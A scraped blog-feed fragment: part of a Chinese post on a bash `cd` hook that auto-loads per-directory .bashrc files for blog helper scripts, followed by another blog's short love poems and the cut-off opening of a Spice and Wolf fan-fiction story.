class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 强迫症是病,得治\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── deploy.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── how-much-did-i-write.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── img-uri-process.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── new-post.sh\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9 directories, 4 files\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e三个脚本,一个是统计字数的,一个是用\u003ccode\u003esed\u003c/code\u003e处理图片链接的,还有一个是从模板新建博客的。每次打开目录看到这仨在中间总觉得很别扭。\u003c/p\u003e\u003cp\u003e除了这,还有就是用起来也不方便:前面要是不加\u003ccode\u003e./\u003c/code\u003e就能直接用就好了\u003cdel\u003e懒也是病得治\u003c/del\u003e\u003c/p\u003e\u003cp\u003e所以,需求大概就是这样:目录级别的环境变量配置,并且支持还得够完善,不能离开目录了配置还在生效,不然脚本在其他目录跑飞了想想就恐怖。\u003c/p\u003e\u003ch2 id=\"Basic-Implementation\"\u003e\u003ca href=\"#Basic-Implementation\" class=\"headerlink\" title=\"Basic Implementation\"\u003e\u003c/a\u003eBasic Implementation\u003c/h2\u003e\u003cp\u003e首先定位清楚,这个对\u003ccode\u003ecd\u003c/code\u003e的Hook只是在指令完成后,加载或者取消配置局部环境变量。因此大概实现方式和结构都有合适的选择。\u003c/p\u003e\u003cul\u003e\u003cli\u003e程序扔\u003ccode\u003e~/.bashrc\u003c/code\u003e里,或者\u003ccode\u003e/etc/profile\u003c/code\u003e里。不过我一般在GUI用konsole比较多,所以就放\u003ccode\u003e.bashrc\u003c/code\u003e里了,也方便dotfile管理。\u003c/li\u003e\u003cli\u003e把具体实现用\u003ccode\u003ealias\u003c/code\u003e赋别名为\u003ccode\u003ecd\u003c/code\u003e达到重载(或者说Hook)\u003ccode\u003ecd\u003c/code\u003e的目的。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e基于上面这两条,这是我写一个粗略实现(没干掉bash基本使用就是能用\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003ecd_hook\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# The normal cd\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ \u003cspan class=\"variable\"\u003e$#\u003c/span\u003e == 0 ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u0026quot;\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# If the dir contains bashrc, launch the sub shell and load it\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [ -f \u003cspan class=\"string\"\u003e\u0026quot;.bashrc\u0026quot;\u003c/span\u003e ] \u0026amp;\u0026amp; [ \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"subst\"\u003e$(pwd)\u003c/span\u003e\u0026quot;\u003c/span\u003e != \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"subst\"\u003e$(getent passwd $USER | awk -F \u0026#x27;:\u0026#x27; \u0026#x27;\u0026#123;print $6\u0026#125;\u0026#x27;)\u003c/span\u003e\u0026quot;\u003c/span\u003e ]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003epushd\u003c/span\u003e . \u0026gt; /dev/null\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e bash --init-file \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e /etc/profile ~/.bashrc .bashrc)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ealias\u003c/span\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#x27;cd_hook\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面有依托用来检测是否是家目录的指令来避免套娃(虽然理论上充重复加载家目录配置应该没啥),然后是检测当前目录下(因为是先\u003ccode\u003ecd\u003c/code\u003e过去的嘛,所以\u003ccode\u003epwd\u003c/code\u003e已经变了)是否有\u003ccode\u003e.bashrc\u003c/code\u003e,有的话就把它作为子参数,和家目录下的bashrc一起传给子bash,然后启动它。\u003c/p\u003e\u003cp\u003e这样就能实现cd后自动加载目录下的配置了。赶紧试试:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# My blog\u0026#x27;s utiilties and aliases\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eTMPL=$(find ./_scaffolds | grep .md)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003edeploy\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e -rf deploy \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; git checkout deploy\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e -r blog deploy/source\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e deploy \u0026amp;\u0026amp; pnpm i \u0026amp;\u0026amp; pnpm run server\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eimage_url_proc\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e find . -\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e f -name \u003cspan class=\"string\"\u003e\u0026quot;*.md\u0026quot;\u003c/span\u003e -\u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e sed -i \u003cspan class=\"string\"\u003e\u0026#x27;s/\\!\\[\\[\\(.*\\)\\/\\(.*\\)\\]\\]/\\!\\[\\2\\]\\(\\/img\\/\\2\\)/gi\u0026#x27;\u003c/span\u003e \u0026#123;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003enew_post\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sed -e \u003cspan class=\"string\"\u003e\u0026quot;s/\u0026#123;\u0026#123;title\u0026#125;\u0026#125;/\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e/\u0026quot;\u003c/span\u003e -e \u003cspan class=\"string\"\u003e\u0026quot;s/\u0026#123;\u0026#123;date\u0026#125;\u0026#125; \u0026#123;\u0026#123;time\u0026#125;\u0026#125;/\u003cspan class=\"subst\"\u003e$(date \u0026#x27;+%Y-%m-%d %H:%M:%S\u0026#x27;)\u003c/span\u003e/\u0026quot;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$TMPL\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003eline_count\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;You have wrote \u003cspan class=\"subst\"\u003e$(find _* -name *.md | xargs cat 2\u0026gt;/dev/null | wc -l)\u003c/span\u003e lines in total!\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ecd到目录里边试试\u003ccode\u003eline_count\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ line_count\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eYou have wrote 36570 lines \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e total!\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003exeonds@ark-station-breeze:~/Documents/blog$ \u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好好好,再看看目录结构:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e.\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── .bashrc\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── about\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _archive\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _draft\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── img\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _inbox\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── links\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e├── _posts\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e└── _scaffolds\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 9 directories, 1 files\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e爽死。\u003c/p\u003e\u003cp\u003e慢着,里边还有一行\u003ccode\u003epushd\u003c/code\u003e呢。嗯,这是后面用来实现自动退出子Shell的关键。具体实现等到下一部分再说吧,先睡了。\u003c/p\u003e\u003cp\u003e后来感觉这样有点太麻烦了,于是就把脚本简化了一下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003ecd\u003c/span\u003e\u003c/span\u003e() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ebuiltin\u003c/span\u003e \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$@\u003c/span\u003e\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e [[ -f \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$PWD\u003c/span\u003e/.bashrc\u0026quot;\u003c/span\u003e ]]; \u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e bash --rcfile \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e ~/.bashrc \u003cspan class=\"string\"\u003e\u0026quot;\u003cspan class=\"variable\"\u003e$PWD\u003c/span\u003e/.bashrc\u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexec\u003c/span\u003e bash --rcfile \u0026lt;(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e ~/.bashrc)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e逻辑很简单,先直通参数执行完内置\u003ccode\u003ecd\u003c/code\u003e,然后判断目的目录底下有没有\u003ccode\u003e.bashrc\u003c/code\u003e,有的话直接\u003ccode\u003eexec\u003c/code\u003e一个新的bash来加载这个配置文件和\u003ccode\u003e~/\u003c/code\u003e下的默认配置;如果没有的话,也\u003ccode\u003eexec\u003c/code\u003e一个新的bash替换当前进程。\u003c/p\u003e\u003cp\u003e之所以到一个新目录都要开一个新的进程替换当前进程,是为了使得只有在当前目录底下才可以使用当前文件夹的环境变量。不过这也带来了新的问题:那就是执行一些包含\u003ccode\u003ecd\u003c/code\u003e的脚本时,会因为\u003ccode\u003eexec\u003c/code\u003e用新的进程覆盖了当前进程的原因,导致脚本执行终止。\u003c/p\u003e\u003cp\u003e最后想了下,Makefile不也挺好用的(笑)。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/09/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/"}]},{"name":"Ri的手账本","email":"Unknown","uri":"https://raay.xyz","description":"","article":[{"title":"最好的庆功宴","time":"2024-09-12T17:33:07Z","content":"从此烟雨落京城,一人撑伞二人行\u003chr /\u003e\n\u003cp\u003e从此烟雨落京城,一人撑伞二人行\u003c/p\u003e\n","url":"https://raay.xyz/268"},{"title":"眼睛","time":"2024-09-08T05:23:50Z","content":"你看着我的眼睛 我问你 你在我的眼睛里看到了什么 鲜花 湖水 还是喜悦 我说 都不是 你看到的是你自己 你在我 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e你看着我的眼睛\u003c/p\u003e\n\n\n\n\u003cp\u003e我问你 \u003c/p\u003e\n\n\n\n\u003cp\u003e你在我的眼睛里看到了什么\u003c/p\u003e\n\n\n\n\u003cp\u003e鲜花 湖水 还是喜悦\u003c/p\u003e\n\n\n\n\u003cp\u003e我说\u003c/p\u003e\n\n\n\n\u003cp\u003e都不是\u003c/p\u003e\n\n\n\n\u003cp\u003e你看到的是你自己\u003c/p\u003e\n\n\n\n\u003cp\u003e你在我的眼睛里\u003c/p\u003e\n\n\n\n\u003cp\u003e眼睛是心灵的窗户\u003c/p\u003e\n\n\n\n\u003cp\u003e你在我的心里\u003c/p\u003e\n","url":"https://raay.xyz/263"},{"title":"如果有你在","time":"2023-12-18T19:13:26Z","content":"你低垂着背脊,雨点敲打着你让我心痛,我怀着祈祷的心情一直关注着你,如果这个世界上,只有一把伞,我定要找到送给你 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e你低垂着背脊,\u003cbr\u003e雨点敲打着你让我心痛,\u003cbr\u003e我怀着祈祷的心情一直关注着你,\u003cbr\u003e如果这个世界上,\u003cbr\u003e只有一把伞,\u003cbr\u003e我定要找到送给你,\u003cbr\u003e我不能为你做点什么,\u003cbr\u003e但至少可以代替你淋雨,\u003cbr\u003e求求你 将那些烦恼,\u003cbr\u003e向我倾诉吧,\u003cbr\u003e黑夜过后一定会有黎明,\u003cbr\u003e世界上也没有下不停的雨,\u003cbr\u003e所以请你相信自己,\u003cbr\u003e如果将我们比做月亮和太阳 那么我就是月亮,\u003cbr\u003e如果有你我才能发光,\u003cbr\u003e你不要一个人承担痛苦,\u003cbr\u003e你要知道我就在你身边,\u003cbr\u003e因为很快 你的心里,\u003cbr\u003e就会架起美丽的彩虹。\u003c/p\u003e\n","url":"https://raay.xyz/247"},{"title":"Spirits","time":"2023-11-07T16:38:23Z","content":"世界将从微不足道的我启程,这平凡的每一天,总有人在默默守护,我也想要为了谁做些什么,直到此刻和你相遇,我想和你 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e世界将从微不足道的我启程,\u003cbr\u003e这平凡的每一天,\u003cbr\u003e总有人在默默守护,\u003cbr\u003e我也想要为了谁做些什么,\u003cbr\u003e直到此刻和你相遇,\u003cbr\u003e我想和你共同燃烧这份生命,\u003cbr\u003e我们的相遇会改变一切,\u003cbr\u003e只要你愿意 世界必定在我手中展开,\u003cbr\u003e我一直在等待,\u003cbr\u003e一切都在我的手中,\u003cbr\u003e如果这是无法抗拒的命运,\u003cbr\u003e那我想为你而活下去。\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" width=\"800\" height=\"800\" src=\"https://raay.xyz/wp-content/uploads/2023/11/img_1534-1.jpg\" class=\"wp-image-241\" srcset=\"https://raay.xyz/wp-content/uploads/2023/11/img_1534-1.jpg 800w, https://raay.xyz/wp-content/uploads/2023/11/img_1534-1-300x300.jpg 300w, https://raay.xyz/wp-content/uploads/2023/11/img_1534-1-150x150.jpg 150w, https://raay.xyz/wp-content/uploads/2023/11/img_1534-1-768x768.jpg 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" /\u003e\u003c/figure\u003e\n","url":"https://raay.xyz/242"},{"title":"狼与驯化的野性","time":"2023-11-07T16:07:46Z","content":"时间在八月到九月间,还远不到下雪的时节,而眼前的风景却令人诧异。一条小径从雪地里穿过,伴着哒哒的马蹄声,一架马 [\u0026#8230;]\u003chr /\u003e\n\u003cp\u003e时间在八月到九月间,还远不到下雪的时节,而眼前的风景却令人诧异。一条小径从雪地里穿过,伴着哒哒的马蹄声,一架马车从雪地上略显蹒跚地驶过。马车的背后是一片雪白然后渐变成一片金黄。也许是平原过于辽阔,上山的路并不陡峭,所以从山脚下看,就像是金黄色和雪白色之间有一层模糊的界限一样。而在马车的货台上,一位少女也抱着一个蓬松的,雪白过渡到金黄色的大尾巴躺在毛毯下。如果不知道的话,一定以为这是售卖皮草的旅行商人带着女眷在前往下一个目的地的途中。事实上,只说对了一半。\u003c/p\u003e\n\n\n\n\u003cp\u003e上山的路逐渐变得颠簸,马车也一晃一晃的。行车的商人用力握紧缰绳,尽力让马车走得更稳一些,生怕吵醒了货台上睡觉的少女。然而,事与愿违,随着马车上下颠簸,货台上传来了一阵窸窸窣窣的响声。少女打了个大大的哈欠,亚麻色的柔顺长发在漂亮的脸颊上滑落,看起来就像是某个贵族人家的千金。然而却有一对大大的三角形兽耳在头顶上微微地颤动着,显得十分可爱。少女名叫赫萝,其真身是一只已经活过了几百岁一口能吞下一头小牛的巨狼。她双手环抱着那金黄色夹带着雪白色的蓬松大尾巴,红宝石般的眼睛注视着它,却迟迟不肯松手,显得意犹未尽。她闭上眼睛,又过了几分钟,才无奈地睁开眼睛。必须要接受路途变得越来越颠簸而难以入睡的现实,少女随手从袋子里抓起一块肉干,塞进嘴里就开始咀嚼着,咬得嘎吱作响。像是在反抗着不能午睡的现实。赫萝跳到马车前一直空出的那个位置上。那是只属于她的位置。\u003c/p\u003e\n\n\n\n\u003cp 